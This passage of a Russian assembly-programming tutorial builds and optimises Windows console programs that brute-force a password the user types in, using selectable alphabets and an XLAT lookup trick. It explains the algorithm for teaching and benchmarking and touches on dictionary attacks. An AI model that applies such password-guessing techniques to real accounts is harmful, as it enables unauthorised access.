Значит всё-что нам нужно, это запросить у юзера пароль для брута, после чего выбрать алфавит с возможными в пароле символами. Теперь, начиная с первого индекса этого алфавита, в цикле перебирать все его символы. Как только сделаем один круг, добавляем к нашему паролю второй символ, ..следом третий и так, пока не найдём схожую с оригинальным паролем комбинацию. То-есть медленно, но верно будем продвигаться к своей цели.
Соответственно на каждой итерации цикла нужно сравнивать обе строки, а в данном примере я отображаю ещё и процесс брута на консоль – это отнимает львиную долю времени перебора. Чтобы узнать чистый профайл брутфорса, можно закомментировать демонстрацию и оставить только сравнение паролей функцией lstrcmp() и сам полезный код, без SetConsoleCursorPosition() + printf(). Вот пример:
C-подобный:
format pe console
include 'win32ax.inc'
entry start
;//--------
.data
Base64: ;//<----------------- Алфавит 64-символов
times 26 db % +('A'-1) ;// ABCDEFGHIJKLMNOPQRSTUVWXYZ
times 26 db % +('a'-1) ;// abcdefghijklmnopqrstuvwxyz
times 10 db % +('0'-1) ;// 0123456789
db '+/' ;// +/
Base32: ;//<----------------- Алфавит 32-символов
times 26 db % +('A'-1) ;// ABCDEFGHIJKLMNOPQRSTUVWXYZ
times 6 db % +('2'-1) ;// 234567
Base16: ;//<----------------- Алфавит 16-символов
times 10 db % +('0'-1) ;// 0123456789
times 6 db % +('A'-1) ;// ABCDEF
sTime SYSTEMTIME ;// время начала/конца брута
title db '*** Password Bruteforce v0.1 ***',0
passLen dd 0 ;// длина пароля
alphaLen dd 0 ;// длина алфавита
alphabet dd 0 ;//
hcrypt dd 0 ;// хэндл Win32Crypt
hndl dd 0 ;// дескриптор консоли
align 16
offset db 64 dup(0) ;// относительная адресация
buff rb 128 ;// буфер для рандома
passStr db 0 ;// буфер для строки с паролем
;//--------
.code
start: invoke SetConsoleTitle,title
invoke GetStdHandle,STD_OUTPUT_HANDLE
mov [hndl],eax
;//====== Запрашиваем у юзера пароль, который будем брутить
cinvoke printf,<10,' Type password...: ',0>
cinvoke scanf,<'%s',0>,passStr
mov [passLen],eax
;//====== Даём ему возможность выбрать алфавит
cinvoke printf,<10,
' ==============================================',10,
' ============== SET CONFIGURATION =============',10,
' Alphabet.....: 1 = Base64 --> A..Z, a..z, 0..9, +/',10,
' : 2 = Base32 --> A..Z, 2..7',10,
' : 3 = Base16 --> 0..9, A..F',10,
' Choise number: ',0>
cinvoke scanf,<'%d',0>,alphaLen
;//====== Настраиваем переменные под выбранный алфавит
cmp [alphaLen],1 ;// проверить ввод на 1
jne @f ;// на нижнюю метку, если нет..
mov [alphabet],Base64 ;// иначе: сохраняем в переменной адрес алфавита,
mov [alphaLen],64 ;// ..и его длину.
jmp @startBrute ;// уйти на брут!
@@: cmp [alphaLen],2
jne @f
mov [alphabet],Base32
mov [alphaLen],32
jmp @startBrute
@@: cmp [alphaLen],3
jne @f
mov [alphabet],Base16
mov [alphaLen],16
jmp @startBrute
@@: cinvoke printf,<' Error alphabet num!!!',0> ;// Ошибка ввода!!!
jmp @exit
;//==============================================
;//====== ПЕРЕБОР ПАРОЛЕЙ БРУТФОРСОМ ============
;//==============================================
@startBrute:
cinvoke printf,<' ==============================================',10,10,
' Bruteforce......: ',0>
;// Очистить буфер, куда будем сбрасывать сгенерированные пароли
;// (пароль юзера для сверки лежит в буфере "passStr").
mov edi,buff
mov ecx,128/4
xor eax,eax
rep stosd
;// Системное время начала брута
invoke GetSystemTime,sTime
movzx eax,word[sTime.wHour]
movzx ebx,word[sTime.wMinute]
movzx ecx,word[sTime.wSecond]
movzx edx,word[sTime.wMilliseconds]
cinvoke printf,<10,10,' Start time......: %02d:%02d:%02d.%03d ms',0>,
eax,ebx,ecx,edx
;// Генерируем пароли!!!
mov ecx,[alphaLen] ;// длина текущего алфавита
@mainLoop:
mov esi,offset ;// позиция символа, справа от текущего
mov edi,buff ;// приёмник паролей
@decode: mov bl,byte[esi] ;// текущий индекс в нашем пароле
and ebx,0ffh ;// оставить в EBX только мл.байт BL
add ebx,[alphabet] ;// EBX = индекс в алфавите
mov al,byte[ebx] ;// взять от туда символ
mov byte[edi],al ;// сохранить его в своём пароле
;// Отобразить ход и сравнить пароль с юзерским!!!
push ecx edi esi
invoke SetConsoleCursorPosition,[hndl],0B0013h ;// позиция курсора в консоли
cinvoke printf,<'%s',0>,buff ;// показать текущий наш пароль
invoke lstrcmp,passStr,buff ;// сравнить его с юзерским
pop esi edi ecx
or eax,eax ;// проверить результат
je @stop ;// если пароль найден!
inc byte[esi] ;// иначе: индекс +1
cmp byte[esi],cl ;// это конец алфавита?
jna @mainLoop ;// нет - мотаем цикл дальше..
@subLoop:
mov byte[esi],0 ;// иначе: сбросить индекс
mov ebx,[alphabet] ;// возвратиться в начало алфавита
mov al,byte[ebx] ;// взять с него первый символ
mov byte[edi],al ;// сохранить его в своём пароле
inc esi ;// сместить указатели
inc edi ;// ...^^^
inc byte[esi] ;// следующий индекс в нашем пароле типа "АА"
mov bl,byte[esi] ;// взять от туда позицию
and ebx,0ffh ;//
add ebx,[alphabet] ;// EBX = индекс в алфавите
mov al,byte[ebx] ;// байт от туда
mov byte[edi],al ;// сохранить его в своём пароле
cmp byte[esi],cl ;// проверить на конец алфавита
ja @subLoop ;// если байт из ESI больше
jmp @mainLoop ;// иначе: мотаем внешний цикл..
;//=====================================================
;//====== Нашли пароль! Системное время конца брутфорса.
@stop: invoke GetSystemTime,sTime
movzx eax,word[sTime.wHour]
movzx ebx,word[sTime.wMinute]
movzx ecx,word[sTime.wSecond]
movzx edx,word[sTime.wMilliseconds]
cinvoke printf,<10,10,10,' Stop time......: %02d:%02d:%02d.%03d ms',0>,
eax,ebx,ecx,edx
cinvoke printf,<10,10,' ******** Password found! ********',0>
@exit: cinvoke scanf,<'%s',0>,buff
cinvoke exit,0
;//--------
section '.idata' import data readable
library msvcrt,'msvcrt.dll',kernel32,'kernel32.dll',advapi32,'advapi32.dll'
import msvcrt, printf,'printf',scanf,'scanf',exit,'exit'
include 'apikernel32.inc'
include 'apiadvapi32.inc'
Обратите внимание, что чем длиннее алфавит, тем дольше длиться процесс перебора. Например алфавит «Base64» содержит вдвое больше символов, чем «Base32». Соответственно и обходить его в цикле по-времени будет в два раза накладней. Поэтому если пароль состоит только из цифр типа «12345», то и выбирать нужно самый короткий алфавит «Base16» – это на порядок увеличит скорость брутфорса, чем если-бы мы выбрали только для цифр алфавит «Base64».
4. Варианты оптимизации кода
Время – основной фактор в циклическом инкременте паролей, а потому код должен быть максимально компактным, без избыточных обращений к памяти. Пример выше не может похвастаться этим, хотя и выполняет поставленную задачу. Ныне покойный К.Касперски был увлечён этим направлением и в своих трудах приводил различные фишки для оптимизации кода. Маэстро бесспорно отличался неординарным мышлением и предложил для брута весьма оригинальный вариант – рассмотрим его детали..
Значит по-прежнему имеем в памяти алфавит, из которого последовательно планируем выбирать символы для своего пароля. Здесь, мыщъх посоветовал выстрелить дробью и сразу убить стаю куропаток по такому алго. Мы знаем, что первым символом в алфавите является «А» с кодом 41h=65
. А что если использовать код очередного символа, в качестве индекса в алфавите? Правда в этом случае сам алфавит должен иметь строго определённый формат, зато код брутфорса сократится буквально до нескольких байт.
То-есть по адресу(0) в алфавите кладём символ(А) с кодом 41h
, а по адресу(41h) вставляем в алфавит следующий символ(B) с кодом 42h
. Далее, по адресу(42h) ставим символ(С) с кодом 43h
, и т.д. Чтобы по окончании очередного прохода по всему алфавиту на автомате опять перейти в его начало, нужно всего-то закончить алфавит терминальным нулём, который послужит индексом к первому символу(А) алфавита. Всё остальное сделают инструкции XLAT
(чтение в AL по индексу) и STOSB
(сохранение считанного символа в пароль). Чуть запутано, но надеюсь рисунок ниже прояснит эту ситуацию:
Таким способом можно сформировать таблицу буквально всех символов, начиная с пробела с кодом 20h
, и до самого подвала с символом тильда(~). Теперь наш текущий пароль будет хранить не только просто символы, но эти символы сами будут индексами к следующему символу в алфавите:
C-подобный:
.data
fullAlphabet:
db ' ' ;// элемент(0) массива = пробел с кодом 20h
rb 1Fh ;// пропускаем следующие, до элемента(20h)
times 94 db % + ('!'-1) ;// вставляем все печатные символы латиницы (см.таблицу ASCII)
db 0 ;// терминальный нуль для возврата в начало (к пробелу).
passStr db 0 ;// приёмник для символов пароля
;//---------
.code
@BruteForce:
mov ebx,fullAlphabet ;// адрес алфавита для XLAT
mov edi,passStr ;// адрес приёмника
@@: movzx eax,byte[edi] ;// AL = очередной символ из нашего пароля
xlatb ;// использовать его как индекс!
or eax,eax ;// конец алфавита?
je @01 ;// если да..
mov byte[edi],al ;// иначе: обновить его в пароле
jmp @BruteForce ;// уйти на начало..
@01: xlatb ;// добавляем в пароль сл.символ справа
stosb ;// ^^^
jmp @b ;// промотать цикл, пока не встретим нуль.
Невероятно, но буквально в 26-ти байтах мыщъх умудрился закодировать полноценный брутфорс паролей! Вот это действительно мысль достойная аплодисментов. В примере ниже я позаимствовал у него этот алгоритм, и добавил в него счётчик сгенерированных на текущий момент паролей. При каждом обновлении пароля, я увеличиваю регистр ECX
на 1, после чего проверяю его на 100.000. Если равно, то запрашиваю процедуру вывода счётчика на консоль. Это позволит наблюдать скорость перебора паролей – вот вторая, оптимизированная версия брутфорса:
C-подобный:
format pe console
include 'win32ax.inc'
entry start
;//--------
.data
alphabet db ' ' ;// элемент(0) массива = пробел с кодом 20h
rb 1Fh ;// пропускаем следующие, до элемента(20h)
times 94 db % + ('!'-1) ;// вставляем все печатные символы латиницы!
db 0 ;// терминальный нуль для возврата в начало.
title db '*** Password Brute v0.2 ***',0
sTime SYSTEMTIME ;// время начала/конца брута
counter dd 0 ;// счётчик сгенерированных паролей
hndl dd 0 ;// дескриптор консоли
align 16
buff rb 128 ;// под пароль юзверя
passStr db 0 ;// буфер для строки с паролем
;//--------
.code
start: invoke SetConsoleTitle,title
invoke GetStdHandle,STD_OUTPUT_HANDLE
mov [hndl],eax
;//====== Запрашиваем у юзера пасс, и сбрасываем его в буфер
cinvoke printf,<10,' Type password: ',0>
cinvoke scanf,<'%s',0>,buff
;//====== Системное время начала брута
cinvoke printf,<10,' =========================',
10,' Bruteforce...: ',0>
invoke GetSystemTime,sTime
movzx eax,word[sTime.wHour]
movzx ebx,word[sTime.wMinute]
movzx ecx,word[sTime.wSecond]
movzx edx,word[sTime.wMilliseconds]
cinvoke printf,<10,10,' Start time...: %02d:%02d:%02d.%03d ms',0>,
eax,ebx,ecx,edx
;//====== ПЕРЕБОР ПАРОЛЕЙ ПО ВСЕМУ АЛФАВИТУ =============
xor ecx,ecx ;// сбрасываем счётчик паролей
@BruteForce: ;// Начало атаки!
mov ebx,alphabet ;// EBX = адрес алфавита для XLAT
mov edi,passStr ;// EDI = приёмник для STOSB
@main: movzx eax,byte[edi] ;//
xlatb ;//
or eax,eax ;//
je @newSize ;//
mov byte[edi],al ;// запись очередного пароля..
inc ecx ;// увеличить счётчик,
cmp ecx,100000 ;// ..и проверить его на 100.000
jb @f ;// пропустить, если меньше
call PrintCounter ;// иначе: вывод счётчика на консоль
@@: push ecx ebx edi ;//
invoke SetConsoleCursorPosition,[hndl],040010h ;// позиция курсора в консоли
cinvoke printf,<'%s',0>,passStr ;// показать текущий наш пароль
invoke lstrcmp,passStr,buff ;// сравнить его с юзерским
pop edi ebx ecx ;//
or eax,eax ;//
je @stop ;// стоп, если нашли пароль!
jmp @BruteForce ;//
@newSize: xlatb ;// увеличилась длина пароля
stosb ;// расширить его справа.
jmp @main ;//
@stop:
;// Системное время начала брута
invoke GetSystemTime,sTime
movzx eax,word[sTime.wHour]
movzx ebx,word[sTime.wMinute]
movzx ecx,word[sTime.wSecond]
movzx edx,word[sTime.wMilliseconds]
cinvoke printf,<10,10,10,' Stop time...: %02d:%02d:%02d.%03d ms',0>,
eax,ebx,ecx,edx
cinvoke printf,<10,10,' ***** Pass found!!! *****',0>
cinvoke scanf,<'%s',0>,buff
cinvoke exit,0
;//--------
PrintCounter:
xor ecx,ecx
inc [counter]
pusha
invoke SetConsoleCursorPosition,[hndl],04001Bh ;// позиция курсора в консоли
cinvoke printf,<'%d00.000 passwords',0>,[counter]
popa
ret
;//--------
section '.idata' import data readable
library msvcrt,'msvcrt.dll',kernel32,'kernel32.dll',advapi32,'advapi32.dll'
import msvcrt, printf,'printf',scanf,'scanf',exit,'exit'
include 'apikernel32.inc'
include 'apiadvapi32.inc'
Чтобы посмотреть, с какой скоростью код перебирает пароли, я скомпилировал его в двух вариантах – с выводим процесса на консоль, и без него. Для этого я просто закомментировал следующие две строки кода:
C-подобный:
invoke SetConsoleCursorPosition,[hndl],040010h ;// позиция курсора в консоли
cinvoke printf,<'%s',0>,passStr ;// показать текущий наш пароль
Если клавишей(F7) зайти в эти функции отладчиком, то обнаружим сотни строк кода, при помощи которых система реализует эти функции. Непосредственно полезная нагрузка брутфорса уходит в этом случае на 10-ый план, поэтому и время увеличивается соответственно. Эта разница показана на скринах ниже:
5. Заключение
Здесь я попытался освятить только одну сторону этого интересного направления. За бортом остались «атаки по-словарю», и это чуть другая тема со-своим подходом. Как нибудь в другой раз мы обязательно вернёмся к ней, поскольку в своей массе юзеры используют для паролей именно осмысленные слова, а вот фантазии у них не хватает. Поэтому перебор по-словарю всегда идёт на шаг впереди брутфорса.
В скрепку я положил три исполняемых файла, коды которых мы рассмотрели выше. В версии(1) имеется возможность выбрать алфавит для паролей «Base16/32/64», зато сам алгоритм перебора оставляет желать лучшего. Во-второй версии алго оптимизирован, но алфавит включает в себя все печатные символы, из-за чего процесс перебора может длиться дольше. Без проблем можно было заточить версию(2) и на выбор алфавита, с построением соответствующих таблиц. Но оставлю это вам в качестве дз. Здесь ставлю точку, и до скорого!